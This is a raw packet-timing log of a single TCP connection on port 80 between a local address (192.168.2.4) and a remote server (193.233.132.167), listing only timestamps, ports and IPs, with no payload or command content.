Apr 18, 2024 23:40:17.514372110 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514378071 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514389992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514391899 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514403105 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514410973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514415026 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514427900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514439106 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514440060 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514452934 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514461994 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514465094 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514467955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514480114 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514482975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514502048 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514519930 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514519930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514519930 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514538050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514544010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514555931 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514561892 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514575005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514581919 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514596939 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514600992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514616013 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514617920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514635086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514652014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514652014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514652014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514669895 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514674902 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514688015 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514688969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514704943 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514705896 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514724016 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514729023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514741898 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514748096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514761925 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514770985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514780045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514787912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514797926 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514807940 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514816999 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514834881 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514853954 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514856100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514856100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514870882 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514879942 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514879942 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514888048 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514899015 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514905930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514915943 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514923096 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514933109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514940977 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514950991 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514957905 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514971972 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514978886 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514991999 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514997005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515011072 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515014887 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515033960 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515036106 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515037060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515052080 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515054941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515069962 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515086889 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515088081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515088081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515104055 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515105963 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515120983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515125036 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515140057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515142918 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515158892 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515160084 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515177011 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515194893 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515194893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515194893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515212059 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515213013 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515228033 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515229940 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515256882 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515261889 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515261889 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515275955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515294075 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515296936 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515311956 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515319109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515330076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515340090 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515348911 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515362024 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515372992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515387058 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515387058 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515391111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515409946 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515423059 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515428066 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515439034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515444994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515463114 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515463114 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515469074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515487909 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515491962 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515505075 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515510082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515522957 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515527010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515539885 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515544891 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515558004 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515566111 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515575886 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515583992 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515594006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515609980 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515610933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515609980 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515629053 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515630007 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515649080 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515654087 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515666962 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515670061 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515685081 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515687943 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515702009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515703917 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515719891 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515734911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515734911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515738010 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515758038 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515758991 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515775919 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515782118 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515794039 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515801907 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515810966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515826941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515826941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515829086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515845060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515846014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515862942 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515866995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515881062 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515882969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515898943 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515901089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515917063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515921116 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515933990 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515939951 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515952110 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515957117 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515969992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515974998 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.515988111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.515993118 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516005039 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516011000 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516021967 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516026974 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516041040 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516047955 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516057968 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516074896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516077042 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516087055 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516096115 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516120911 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516136885 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516138077 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516155005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516156912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516156912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516170979 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516187906 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516206026 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516223907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516223907 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516242981 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516246080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516246080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516246080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516246080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516261101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.516273022 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.516311884 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.717047930 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.717102051 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.717123032 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.717293024 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.717293024 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.735754967 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.735800028 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.735857010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.735857010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.753817081 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.753858089 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.753983974 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.753983974 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754110098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754152060 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754178047 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754208088 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754369974 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754407883 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754430056 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754447937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754456043 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754489899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754503012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754528999 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754539967 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754568100 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754578114 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754615068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754623890 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754653931 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754669905 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754694939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754709005 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754734993 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.754745007 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.754786968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.755851984 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.755889893 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.755913019 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.755928040 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.755935907 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.755970001 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.755983114 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756009102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756022930 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756047010 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756062984 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756083965 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756097078 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756135941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756140947 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756181002 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756191969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756234884 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756236076 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756273031 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756285906 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756309986 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756320953 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756349087 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756359100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756386995 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756397963 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756424904 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756444931 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756465912 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756473064 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756504059 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756516933 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756541967 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756551981 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756580114 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756591082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756618977 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756630898 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756658077 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756673098 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756696939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756711960 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756736994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756751060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756776094 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756784916 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756814003 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756827116 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756854057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756864071 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756891966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756902933 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756928921 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756941080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.756967068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.756978035 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757023096 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757023096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757066965 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757077932 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757105112 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757118940 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757148981 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757167101 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757189989 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757199049 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757229090 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757265091 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757267952 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757267952 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757304907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757318020 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757344007 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757355928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757380009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757391930 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757419109 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757430077 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757463932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757467985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757477045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757514000 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757519007 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757519007 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757553101 CEST	80	49757	193.233.132.167	192.168.2.4
